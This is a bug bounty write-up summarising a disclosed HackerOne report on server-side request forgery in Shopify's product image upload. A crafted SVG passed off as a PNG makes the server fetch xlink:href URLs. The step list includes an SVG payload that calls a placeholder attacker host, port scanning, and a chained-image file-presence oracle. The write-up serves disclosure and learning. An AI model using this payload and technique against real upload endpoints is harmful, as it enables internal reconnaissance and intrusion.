# SVG Server Side Request Forgery (SSRF)

SVG upload to Shopify product images triggered server-side fetch of xlink:href URLs, enabling SSRF, port scanning, and a local-file-presence oracle via chained image references.

- Payout: $500
- Severity: low
- Program: Shopify
- Credited: floyd
- Disclosed: 2017-09-22
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/223203
- Library page: https://bugbountylibrary.com/r/h1%3A223203
- Tags: domain:web impact:internal-access kind:bounty platform:hackerone sev:low technique:chained technique:incomplete-fix technique:regression vuln:file-upload vuln:ssrf

**Target:** Product image upload endpoint (/admin/products/{id}/images.json)
**Root cause:** Upload validation checked filename extension (.png) but processed the file as SVG based on Content-Type, and the SVG renderer fetched external xlink:href resources before the corrupt-image check rejected the upload.
**Steps:**
1. POST multipart to `/admin/products/{id}/images.json` with `filename="x.png"`, `Content-Type: image/svg+xml`, body an SVG with `<image xlink:href="http://attacker/image.jpeg"/>`
2. Observe 422 response but outbound `GET /image.jpeg` from Shopify servers to attacker host
3. Swap scheme to `ftp://` to confirm; other schemes do not fetch
4. Port-scan all 65535 TCP ports; only port 113 filtered
5. Chain two `<image>` refs: first a local path, second attacker URL; if first resolves to a valid image the second is fetched, giving a file-presence oracle
6. Fingerprint installed libs via known doc example PNG paths
**How found:** Noticed the upload was processed before the file-type check (regression of prior report 97501); tested SVG xlink:href with a controlled server, then enumerated schemes and ports, then chained references to build an oracle.
**Exploitation:** Authenticated merchant uploads a crafted SVG masquerading as PNG; the server-side SVG renderer dereferences xlink:href, producing SSRF to arbitrary hosts/ports and a boolean oracle for local image files, enabling internal recon and library fingerprinting.
**Escalation:** Chained two image references to convert blind SSRF into a local-file-presence oracle; used known package doc image paths to fingerprint installed libraries.
**Insight:** When an upload is rejected but still processed, test SVG xlink:href for SSRF; chaining a local-path image ref before an attacker URL turns blind SSRF into a file-presence oracle, and known distro doc image paths fingerprint installed packages.